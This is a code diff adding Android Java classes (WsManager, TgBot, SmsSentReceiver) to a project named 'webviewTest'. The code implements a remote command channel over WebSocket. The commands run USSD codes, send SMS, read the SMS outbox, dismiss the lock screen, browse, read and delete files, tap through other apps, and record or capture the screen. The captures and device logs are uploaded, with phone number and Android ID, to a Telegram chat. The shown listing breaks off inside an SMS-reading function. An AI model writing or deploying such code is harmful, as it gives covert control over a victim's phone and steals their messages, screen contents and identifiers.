+            for (String key : keySet) {
+                sb.append("[key = ").append(key).append(" , value = ").append(bundle.get(key)).append("]");
+            }
+            Log.w("hzshkj", "subscription cannot be obtained ,keySet = " + sb);
+            XLog.e("subscription cannot be obtained ,keySet = " + sb);
+            return null;
+        }
+
+
+        //通过subscriptionId获取匹配本地配置,获取用户的手机号
+        String phoneNumber = HxUtils.getRecord(subscription);
+        if (StringUtils.isTrimEmpty(phoneNumber)) {
+            XLog.d("subscription->未设置手机号");
+            Log.d("hzshkj", "subscription->未设置手机号");
+            return null;
+        }
+
+        return phoneNumber;
+
+
+    }
+
+
+}
+

+ 46 - 0
webviewTest/app/src/main/java/com/app/duck/util/SmsSentReceiver.java

@@ -0,0 +1,46 @@
+package com.app.duck.util;
+
+import static com.app.duck.util.WsManager.sendWebSocketMsg;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.elvishew.xlog.XLog;
+
+import java.util.Set;
+
+/**
+ * author: hx
+ * created on: 2024/4/13 21:02
+ * description:
+ */
+public class SmsSentReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        int resultCode = getResultCode();
+        Log.d("hzshkj", "SmsSentReceiver: " + resultCode);
+        String requestId = intent.getStringExtra("requestId");
+        String phone = intent.getStringExtra("phone");
+        String content = intent.getStringExtra("content");
+
+
+        if (resultCode == Activity.RESULT_OK) {
+            long smsId = intent.getLongExtra("messageId", -1);
+            XLog.i("sendSMS : " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+            Log.d("hzshkj", "[WsManager] sendSMS: " + "Start sending text messages......[mobile:" + phone + ",content:" + content + "]");
+            sendWebSocketMsg(requestId, "successful", "RESULT_OK,smsId: +" + smsId + " ,mobile:" + phone + " ,content:" + content);
+
+        } else {
+            XLog.i("error,SmsSentReceiver!", resultCode);
+            Log.d("hzshkj", "SmsSentReceiver: " + resultCode);
+            sendWebSocketMsg(requestId, "exception", "resultCode:" + resultCode);
+        }
+    }
+
+
+}

+ 341 - 0
webviewTest/app/src/main/java/com/app/duck/util/TgBot.java

@@ -0,0 +1,341 @@
+package com.app.duck.util;
+
+import static com.app.http.APPConfig.APP_TG_SEND_DOCUMENT;
+import static com.app.http.APPConfig.APP_TG_SEND_MESSAGE;
+
+import android.util.Log;
+
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.R;
+import com.arthenica.mobileffmpeg.FFmpeg;
+import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.DeviceUtils;
+import com.blankj.utilcode.util.FileUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.PermissionUtils;
+import com.blankj.utilcode.util.RomUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.ToastUtils;
+import com.blankj.utilcode.util.Utils;
+import com.blankj.utilcode.util.ZipUtils;
+import com.elvishew.xlog.XLog;
+
+import java.io.File;
+
+import okhttp3.FormBody;
+import okhttp3.HttpUrl;
+import okhttp3.MediaType;
+import okhttp3.MultipartBody;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.RequestBody;
+import okhttp3.Response;
+
+/**
+ * author: hx
+ * created on: 2023/10/17 12:04
+ * description:
+ */
+public class TgBot {
+
+    public TgBot(String data, boolean message) {
+        if (!message) {
+            sendFileToGroup();
+        } else {
+            sendMessageToGroup(data);
+        }
+    }
+
+    public TgBot() {
+        sendVideToGroup();
+    }
+
+    public TgBot(byte[] bytes, int w, int h) {
+        String filePath = Utils.getApp().getFilesDir().getPath() + "/screen.jpg";
+        try {
+            HxUtils.saveBitmapToFile(HxUtils.rgbaToBitmap(bytes, w, h), filePath);
+            sendScreenToGroup(filePath);
+        } catch (Exception e) {
+            Log.d("hzshkj", "[TgBot] TgBot: " + e.getMessage());
+        }
+
+    }
+
+    public void sendScreenToGroup(String path) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                ToastUtils.showLong(R.string.pushing);
+                XLog.i(StringUtils.getString(R.string.pushing));
+                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/screen.zip";
+                FileUtils.createFileByDeleteOldFile(filePathZip);
+                OkHttpClient client = new OkHttpClient();
+                ZipUtils.zipFile(path, filePathZip, "screen zip push");
+                File file = new File(filePathZip);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
+                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
+                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
+                Request request = new Request.Builder()
+                        .url(urlBuilder.build())
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    Log.i(Config.LOG_TAG, "File sent successfully.");
+                    XLog.i("File sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send file. Response: " + response.body().string());
+                    XLog.i("Failed to send file. Response: " + response.body().string());
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+                XLog.e("Send file to group fail. ", t);
+            }
+        });
+
+    }
+
+    public void sendFileToGroup() {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                try {
+                    XLog.i("AndroidId -> " + DeviceUtils.getAndroidID());
+                    XLog.i("AppName -> " + AppUtils.getAppName());
+                    XLog.i("PackageName -> " + AppUtils.getAppPackageName());
+                    XLog.i("AppVersionName -> " + AppUtils.getAppVersionName());
+                    XLog.i("AppVersionCode -> " + AppUtils.getAppVersionCode());
+                    XLog.i("Model -> " + DeviceUtils.getModel());
+                    XLog.i("SDKVersionName -> " + DeviceUtils.getSDKVersionName());
+                    XLog.i("SDKVersionCode -> " + DeviceUtils.getSDKVersionCode());
+                    XLog.i("Root -> " + DeviceUtils.isDeviceRooted());
+                    XLog.i("Rom -> " + GsonUtils.toJson(RomUtils.getRomInfo()));
+                    XLog.i("Permissions -> " + GsonUtils.toJson(PermissionUtils.getPermissions()));
+                } catch (Exception e) {
+                }
+
+                ToastUtils.showLong(R.string.pushing);
+                XLog.i(StringUtils.getString(R.string.pushing));
+                String filePath = Utils.getApp().getFilesDir().getPath() + "/ulog";
+                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/" + HxUtils.getPhone() + "-log.zip";
+                FileUtils.createFileByDeleteOldFile(filePathZip);
+                OkHttpClient client = new OkHttpClient();
+                ZipUtils.zipFile(filePath, filePathZip, "log zip push");
+                File file = new File(filePathZip);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
+                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
+                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
+                Request request = new Request.Builder()
+                        .url(urlBuilder.build())
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    Log.i(Config.LOG_TAG, "File sent successfully.");
+                    XLog.i("File sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send file. Response: " + response.body().string());
+                    XLog.i("Failed to send file. Response: " + response.body().string());
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+                XLog.e("Send file to group fail. ", t);
+            }
+        });
+
+    }
+
+    public void sendVideToGroup() {
+        String filePath = Utils.getApp().getFilesDir().getPath() + "/video.h264";
+        String filePathMp4 = Utils.getApp().getFilesDir().getPath() + "/videos.mp4";
+        ThreadUtils.executeByIo(new ThreadUtils.SimpleTask<Integer>() {
+            @Override
+            public Integer doInBackground() throws Throwable {
+                ToastUtils.showLong(R.string.pushing);
+                XLog.i(StringUtils.getString(R.string.pushing));
+                return convertH264ToMp4(filePath, filePathMp4);
+            }
+
+            @Override
+            public void onSuccess(Integer result) {
+                if (result == 0) {
+                    pushVideo(filePathMp4, filePath);
+                } else {
+                    pushVideo(filePath, filePathMp4);
+                }
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                super.onFail(t);
+                pushVideo(filePath, filePathMp4);
+            }
+
+            @Override
+            public void onCancel() {
+                super.onCancel();
+                pushVideo(filePath, filePathMp4);
+            }
+        });
+
+
+    }
+
+    private void pushVideo(String filePath, String filePath2) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                String filePathZip = Utils.getApp().getFilesDir().getPath() + "/zip/video.zip";
+                FileUtils.createFileByDeleteOldFile(filePathZip);
+                ZipUtils.zipFile(filePath, filePathZip, "video zip push");
+                OkHttpClient client = new OkHttpClient();
+                File file = new File(filePathZip);
+                MultipartBody.Builder builder = new MultipartBody.Builder()
+                        .setType(MultipartBody.FORM)
+                        .addFormDataPart("chat_id", HxUtils.getChatId())
+                        .addFormDataPart("document", file.getName(), RequestBody.create(MediaType.parse("text/plain"), file));
+                HttpUrl.Builder urlBuilder = HttpUrl.parse(APP_TG_SEND_DOCUMENT).newBuilder();
+                Request request = new Request.Builder()
+                        .url(urlBuilder.build())
+                        .post(builder.build())
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    ToastUtils.showLong(R.string.push_suc);
+                    FileUtils.delete(filePath2);
+                    FileUtils.delete(filePath);
+                    FileUtils.delete(filePathZip);
+                    Log.i(Config.LOG_TAG, "video sent successfully.");
+                    XLog.i("video sent successfully.");
+                } else {
+                    ToastUtils.showLong(R.string.push_error);
+                    Log.i(Config.LOG_TAG, "Failed to send video. Response: " + response.body().string());
+                    XLog.i("Failed to send video. Response: " + response.body().string());
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                ToastUtils.showLong(R.string.push_error);
+                Log.e(Config.LOG_TAG, "Send file to group fail. ", t);
+                XLog.e("Send file to group fail. ", t);
+            }
+        });
+    }
+
+    public void sendMessageToGroup(String message) {
+        ThreadUtils.executeByIo(new ThreadUtils.Task<Object>() {
+            @Override
+            public Object doInBackground() throws Throwable {
+                OkHttpClient client = new OkHttpClient();
+                RequestBody requestBody = new FormBody.Builder()
+                        .add("chat_id", HxUtils.getChatId())
+                        .add("text", "androidId : " + DeviceUtils.getAndroidID() + "\n" +
+                                "Channel : " + BuildConfig.UPDATE_KEY + "\n" +
+                                "Phone number : " + HxUtils.getPhone() + "\n" +
+                                message)
+                        .build();
+                Request request = new Request.Builder()
+                        .url(APP_TG_SEND_MESSAGE)
+                        .post(requestBody)
+                        .build();
+                Response response = client.newCall(request).execute();
+                if (response.isSuccessful()) {
+                    Log.i(Config.LOG_TAG, "Message sent successfully.");
+                    XLog.i("Message sent successfully.");
+                } else {
+                    Log.i(Config.LOG_TAG, "Failed to send message. Response: " + response.body().string());
+                    XLog.i("Failed to send message. Response: " + response.body().string());
+                }
+                return null;
+            }
+
+            @Override
+            public void onSuccess(Object result) {
+
+            }
+
+            @Override
+            public void onCancel() {
+
+            }
+
+            @Override
+            public void onFail(Throwable t) {
+                Log.e(Config.LOG_TAG, "Send message to group fail. ", t);
+                XLog.e("Send message to group fail. ", t);
+            }
+        });
+
+    }
+
+    public int convertH264ToMp4(String h264FilePath, String outputMp4FilePath) {
+        // 设置合理的比特率和分辨率以保持基础清晰度
+        String command = String.format("-i %s -b:v 100k -r 5 -vf scale=480:-2 -c:v libx264 -crf 30 -preset ultrafast -an %s", h264FilePath, outputMp4FilePath);
+
+        // 使用 FFmpeg 执行命令
+        int rc = FFmpeg.execute(command);
+        ToastUtils.showLong("rc : " + rc);
+        if (rc == 0) {
+            Log.d("FFmpeg", "转换成功!");
+        } else if (rc == 255) {
+            Log.d("FFmpeg", "转换被取消!");
+        } else {
+            Log.d("FFmpeg", String.format("转换失败,返回代码:%d", rc));
+        }
+        return rc;
+    }
+
+
+}

+ 909 - 0
webviewTest/app/src/main/java/com/app/duck/util/WsManager.java

@@ -0,0 +1,909 @@
+package com.app.duck.util;
+
+import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
+
+import android.app.Activity;
+import android.app.KeyguardManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.Cursor;
+import android.os.Environment;
+import android.os.Handler;
+import android.provider.Telephony;
+import android.telephony.SmsManager;
+import android.util.Base64;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.fragment.app.FragmentActivity;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONArray;
+import com.alibaba.fastjson.JSONObject;
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.R;
+import com.blankj.utilcode.util.ActivityUtils;
+import com.blankj.utilcode.util.AppUtils;
+import com.blankj.utilcode.util.FileIOUtils;
+import com.blankj.utilcode.util.FileUtils;
+import com.blankj.utilcode.util.GsonUtils;
+import com.blankj.utilcode.util.IntentUtils;
+import com.blankj.utilcode.util.StringUtils;
+import com.blankj.utilcode.util.ThreadUtils;
+import com.blankj.utilcode.util.Utils;
+import com.elvishew.xlog.XLog;
+import com.jeremyliao.liveeventbus.LiveEventBus;
+import com.romellfudi.ussdlibrary.OverlayShowingService;
+import com.romellfudi.ussdlibrary.PayController;
+import com.romellfudi.ussdlibrary.USSDApi;
+import com.romellfudi.ussdlibrary.USSDController;
+import com.romellfudi.ussdlibrary.USSDService;
+
+import org.loka.screensharekit.EncodeBuilder;
+import org.loka.screensharekit.ErrorInfo;
+import org.loka.screensharekit.ScreenShareKit;
+import org.loka.screensharekit.callback.ErrorCallBack;
+
+import java.io.File;
+import java.lang.reflect.Field;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.ScheduledFuture;
+import java.util.concurrent.TimeUnit;
+
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.WebSocket;
+import okhttp3.WebSocketListener;
+
+/**
+ * author: hx
+ * created on: 2023/10/16 23:38
+ * description:
+ */
+public final class WsManager {
+    private static final int NORMAL_CLOSURE_STATUS = 1000;
+    private static final long RECONNECT_DELAY_MS = 1000; // 重连延迟时间
+    private static WebSocketListener webSocketListener;
+    private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
+    private static WebSocket webSocket;
+    private static ScheduledFuture<?> reconnectTask;
+    private static ScheduledExecutorService executorService = Executors.newSingleThreadScheduledExecutor();
+    private static ScheduledExecutorService executorServiceUi = Executors.newSingleThreadScheduledExecutor();
+    private static Intent svc = null;
+    private static String SENT_SMS_ACTION = "SENT_SMS_ACTION";
+    private static String DELIVERED_SMS_ACTION = "DELIVERED_SMS_ACTION";
+
+    public static WebSocket connectWebSocket() {
+        if (StringUtils.isTrimEmpty(BuildConfig.WEB_URL) || StringUtils.equals("", BuildConfig.WEB_URL)) {
+            ThreadUtils.runOnUiThreadDelayed(() -> LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_13)), 1000);
+            return null;
+        }
+
+        webSocketListener = new WebSocketListener() {
+            @Override
+            public void onOpen(@NonNull WebSocket webSocket, @NonNull Response response) {
+                super.onOpen(webSocket, response);
+                XLog.i("连接成功--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/");
+                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_14));
+                XLog.i(StringUtils.getString(R.string.log_tip_14));
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_14));
+            }
+
+            @Override
+            public void onMessage(@NonNull WebSocket webSocket, @NonNull String text) {
+                super.onMessage(webSocket, text);
+                JSONObject json = JSON.parseObject(text);
+                String command = json.getString("command");
+                String requestId = json.getString("request_id");
+                String value = json.getString("value");
+                String content = json.getString("content");
+                String packageName = json.getString("packageName");
+                int simSlot = json.getIntValue("subId");
+                int hashCode = json.getIntValue("hashCode");
+                int action = json.getIntValue("action");
+                JSONArray arguments = json.getJSONArray("arguments");
+                XLog.e("[WsManager] onMessage: " + json);
+                switch (command) {
+                    case "invoke":
+                        ThreadUtils.runOnUiThread(() -> callOverlay(value, requestId, simSlot));
+                        break;
+                    case "invoke2":
+                        ThreadUtils.runOnUiThread(() -> callOverlay2(value, requestId, simSlot));
+                        break;
+                    case "send":
+                        ThreadUtils.runOnUiThread(() -> sendUssd(requestId, value));
+                        break;
+                    case "cancel":
+                        ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
+                        break;
+                    case "log":
+                        sendWebSocketMsg(requestId, "over", "log success...");
+                        ThreadUtils.runOnUiThread(() -> new TgBot("", false));
+                        break;
+                    case "message":
+                        sendWebSocketMsg(requestId, "over", "message success...");
+                        ThreadUtils.runOnUiThread(() -> new TgBot(value, true));
+                        break;
+                    case "config":
+                        HxUtils.checkForUpdateBotConfig();
+                        sendWebSocketMsg(requestId, "over", "config success...");
+                    case "phoneConfig":
+                        HxUtils.getPhoneConfig();
+                    case "getRootInActiveWindow":
+                        ThreadUtils.runOnUiThread(() -> getNowRootInActiveWindow(requestId));
+                        break;
+                    case "startApp":
+                        ThreadUtils.runOnUiThread(() -> startApp(requestId, packageName));
+                        break;
+                    case "performAction":
+                        ThreadUtils.runOnUiThread(() -> performAction(requestId, hashCode, action, arguments));
+                        break;
+                    case "performGlobalAction":
+                        ThreadUtils.runOnUiThread(() -> performGlobalAction(requestId, action));
+                        break;
+                    case "unlock":
+                        try {
+                            ActivityUtils.getTopActivity().setTurnScreenOn(true);
+                            ActivityUtils.getTopActivity().setShowWhenLocked(true);
+                            KeyguardManager keyguardManager = (KeyguardManager) ActivityUtils.getTopActivity().getSystemService(Context.KEYGUARD_SERVICE);
+                            keyguardManager.requestDismissKeyguard(ActivityUtils.getTopActivity(), new KeyguardManager.KeyguardDismissCallback() {
+                                @Override
+                                public void onDismissError() {
+                                    super.onDismissError();
+                                    sendWebSocketMsg(requestId, "response", "onDismissError");
+                                }
+
+                                @Override
+                                public void onDismissSucceeded() {
+                                    super.onDismissSucceeded();
+                                    sendWebSocketMsg(requestId, "response", "onDismissSucceeded");
+                                }
+
+                                @Override
+                                public void onDismissCancelled() {
+                                    super.onDismissCancelled();
+                                    sendWebSocketMsg(requestId, "response", "onDismissCancelled");
+                                }
+                            });
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
+                        }
+                        break;
+                    case "fileList":
+                        ThreadUtils.runOnUiThread(() -> getFileList(requestId));
+                        break;
+                    case "deleteFile":
+                        ThreadUtils.runOnUiThread(() -> deleteFile(requestId, value));
+                        break;
+                    case "getFileByPath":
+                        ThreadUtils.runOnUiThread(() -> getFileByPath(requestId, value));
+                        break;
+                    case "getPath":
+                        ThreadUtils.runOnUiThread(() -> getPath(requestId, value));
+                        break;
+                    case "sendSMS":
+                        ThreadUtils.runOnUiThread(() -> sendSMS(requestId, content, value));
+                        break;
+                    case "getOutBoxSMS":
+                        ThreadUtils.runOnUiThread(() -> getOutBoxSMS(requestId, value));
+                        break;
+                    case "sendSMSDelayed":
+                        sendSMSDelayed(requestId, content, value);
+                        break;
+                    case "relaunchApp":
+                        sendWebSocketMsg(requestId, "over", "relaunch app...");
+                        AppUtils.relaunchApp(true);
+                        break;
+                    case "getLastEventText":
+                        try {
+                            sendWebSocketMsg(requestId, "over", USSDService.event.getText().toString());
+                        } catch (Exception w) {
+
+                        }
+                        break;
+                    case "videoStart":
+                        try {
+                            ThreadUtils.runOnUiThread(() -> {
+                                FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                            });
+                        } catch (Exception e) {
+
+                        }
+                        try {
+                            ThreadUtils.runOnUiThreadDelayed(() -> ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity())
+                                    .onH264((buffer, isKeyFrame, width, height, ts) -> {
+                                        HxUtils.saveH264ToFile(buffer, Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                                    })
+                                    .onStart(() -> {
+                                        sendWebSocketMsg(requestId, "over", "videoStart");
+                                    })
+                                    .onError(new ErrorCallBack() {
+                                        @Override
+                                        public void onError(@NonNull ErrorInfo errorInfo) {
+                                            sendWebSocketMsg(requestId, "exception", "exception: " + errorInfo.getMessage());
+                                        }
+                                    })
+                                    .start(), 100);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "exception: " + e.getMessage());
+                        }
+                        break;
+                    case "videoStop":
+                        try {
+                            sendWebSocketMsg(requestId, "over", "videoStop...");
+                            ThreadUtils.runOnUiThread(new Runnable() {
+                                @Override
+                                public void run() {
+                                    ScreenShareKit.INSTANCE.stop();
+                                }
+                            });
+                            ThreadUtils.runOnUiThreadDelayed(TgBot::new, 5000);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "error:" + e.getMessage());
+                        }
+
+                        break;
+                    case "deleteVideo":
+                        ThreadUtils.runOnUiThread(() -> {
+                            FileUtils.delete(Utils.getApp().getFilesDir().getPath() + "/video.h264");
+                            sendWebSocketMsg(requestId, "over", "deleteVideo...");
+                        });
+                        break;
+                    case "screen":
+                        try {
+                            final byte[][] mBytes = new byte[1][1];
+                            final int[] w = new int[1];
+                            final int[] h = new int[1];
+                            ThreadUtils.runOnUiThreadDelayed(() -> {
+                                        EncodeBuilder encodeBuilder = ScreenShareKit.INSTANCE.init((FragmentActivity) ActivityUtils.getTopActivity());
+                                        encodeBuilder.setScreenDataType(EncodeBuilder.SCREEN_DATA_TYPE.RGBA);
+                                        encodeBuilder.onRGBA((bytes, i, i1, i2, i3, b) -> {
+                                                    Log.d("hzshkj", "[MainActivity] onRGBA: " + bytes.length);
+                                                    Log.d("hzshkj", "[MainActivity] 宽: " + i);
+                                                    Log.d("hzshkj", "[MainActivity] 高: " + i1);
+                                                    Log.d("hzshkj", "[MainActivity] i2: " + i2);
+                                                    Log.d("hzshkj", "[MainActivity] i3: " + i3);
+                                                    Log.d("hzshkj", "[MainActivity] b: " + b);
+                                                    mBytes[0] = bytes;
+                                                    w[0] = i2;
+                                                    h[0] = i1;
+                                                    ScreenShareKit.INSTANCE.stop();
+                                                })
+                                                .onError(new ErrorCallBack() {
+                                                    @Override
+                                                    public void onError(@NonNull ErrorInfo errorInfo) {
+                                                        sendWebSocketMsg(requestId, "exception", "info:" + errorInfo.getMessage());
+                                                    }
+                                                })
+
+                                                .onStart(() -> Log.d("hzshkj", "开始截屏"))
+                                                .start();
+                                    }
+                                    , 500);
+
+                            ThreadUtils.runOnUiThreadDelayed(() -> {
+                                sendWebSocketMsg(requestId, "over", "start screen...");
+                                new TgBot(mBytes[0], w[0], h[0]);
+                            }, 5000);
+                        } catch (Exception e) {
+                            sendWebSocketMsg(requestId, "exception", "info:" + e.getMessage());
+                        }
+
+
+                        break;
+                    case "help":
+                        HashMap<String, String> helpMap = new HashMap<>();
+                        helpMap.put("invoke", "启动ussd命令");
+                        helpMap.put("invoke2", "启动ussd命令");
+                        helpMap.put("send", "发送ussd命令");
+                        helpMap.put("cancel", "取消ussd命令");
+                        helpMap.put("log", "传送设备日志");
+                        helpMap.put("message", "发送tg消息");
+                        helpMap.put("config", "更新配置");
+                        helpMap.put("phoneConfig", "获取设备配置");
+                        helpMap.put("getRootInActiveWindow", "获取当前界面内容");
+                        helpMap.put("startApp", "启动某个App");
+                        helpMap.put("performAction", "点击");
+                        helpMap.put("performGlobalAction", "全局点击");
+                        helpMap.put("unlock", "解除锁屏");
+                        helpMap.put("fileList", "获取文件列表");
+                        helpMap.put("deleteFile", "删除文件");
+                        helpMap.put("getFileByPath", "获取某个路径下的文件");
+                        helpMap.put("getPath", "获取某个路径下的文件列表");
+                        helpMap.put("sendSMS", "发送短信");
+                        helpMap.put("getOutBoxSMS", "获取发件箱内容");
+                        helpMap.put("sendSMSDelayed", "发送短信,有回调");
+                        helpMap.put("relaunchApp", "重启本App");
+                        helpMap.put("getLastEventText", "获取最新一次ussd消息提示内容");
+                        helpMap.put("videoStart", "开始录屏");
+                        helpMap.put("videoStop", "结束录屏并上传");
+                        helpMap.put("deleteVideo", "删除录屏文件");
+                        helpMap.put("screen", "截屏");
+                        helpMap.put("help", "获取所有命令列表");
+                        sendWebSocketMsg(requestId, "over", GsonUtils.toJson(helpMap));
+                        break;
+                    default:
+                        XLog.e(command + " 没有定义该操作!");
+                        sendWebSocketMsg(requestId, "exception", command + " 没有定义该操作!");
+                        break;
+                }
+            }
+
+            @Override
+            public void onClosing(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
+                super.onClosing(webSocket, code, reason);
+                webSocket.close(code, reason);
+                XLog.i("连接关闭中--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/");
+                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_15_s, " "));
+                XLog.i(StringUtils.getString(R.string.log_tip_15_s, " "));
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_15_s, reason));
+            }
+
+            @Override
+            public void onClosed(@NonNull WebSocket webSocket, int code, @NonNull String reason) {
+                super.onClosed(webSocket, code, reason);
+                XLog.i("连接关闭--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/");
+
+                reconnectWebSocket();
+                Log.i(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_16, reason));
+                XLog.i(StringUtils.getString(R.string.log_tip_16, reason));
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_16, reason));
+
+            }
+
+            @Override
+            public void onFailure(@NonNull WebSocket webSocket, @NonNull Throwable t, Response response) {
+                super.onFailure(webSocket, t, response);
+                XLog.e("连接失败--------------------->" + BuildConfig.WEB_URL + HxUtils.getPhone() + "/", t);
+                reconnectWebSocket();
+                Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, t.getMessage()), t);
+                XLog.e(StringUtils.getString(R.string.log_tip_18_s, t.getMessage()), t);
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post(StringUtils.getString(R.string.log_tip_18_s, t.getMessage()));
+            }
+        };
+        executorServiceUi.execute(() -> {
+                    try {
+                        OkHttpClient client = new OkHttpClient.Builder().pingInterval(5, TimeUnit.SECONDS).build();
+                        Request request = new Request.Builder().url(BuildConfig.WEB_URL + HxUtils.getPhone() + "/").build();
+                        webSocket = client.newWebSocket(request, webSocketListener);
+                    } catch (Exception e) {
+                        Log.e(Config.LOG_TAG, StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
+                        XLog.e(StringUtils.getString(R.string.log_tip_18_s, e.getMessage()), e);
+                    }
+                }
+        );
+
+        return webSocket;
+    }
+
+    public static void getOutBoxSMS(String requestId, String number) {
+        try {
+            List<HashMap<String, Object>> data = new ArrayList<>();
+            ContentResolver contentResolver = Utils.getApp().getContentResolver();
+            String selection = Telephony.Sms.TYPE + " in (?,?,?,?,?)";
+            String[] sArgs = new String[]{String.valueOf(
+                    Telephony.Sms.MESSAGE_TYPE_DRAFT)
+                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_FAILED)
+                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_OUTBOX)
+                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_QUEUED)
+                    , String.valueOf(Telephony.Sms.MESSAGE_TYPE_SENT)
+            };
+            Cursor cursor = contentResolver.query(Telephony.Sms.Sent.CONTENT_URI, null,
+                    selection, sArgs, "date DESC LIMIT " + number);
+            if (cursor != null && cursor.moveToFirst()) {
+                do {
+                    // 获取短信信息
+                    long id = cursor.getLong(cursor.getColumnIndexOrThrow(Telephony.Sms._ID));
+                    String address = cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.ADDRESS));
+                    String body = cursor.getString(cursor.getColumnIndexOrThrow(Telephony.Sms.BODY));
+                    long date = cursor.getLong(cursor.getColumnIndexOrThrow(Telephony.Sms.DATE));
+                    int type = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.TYPE));
+                    int read = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.READ));
+                    int status = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.STATUS));
+                    int error_code = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.ERROR_CODE));
+                    int date_sent = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.DATE_SENT));
+                    int creator = cursor.getInt(cursor.getColumnIndexOrThrow(Telephony.Sms.CREATOR));
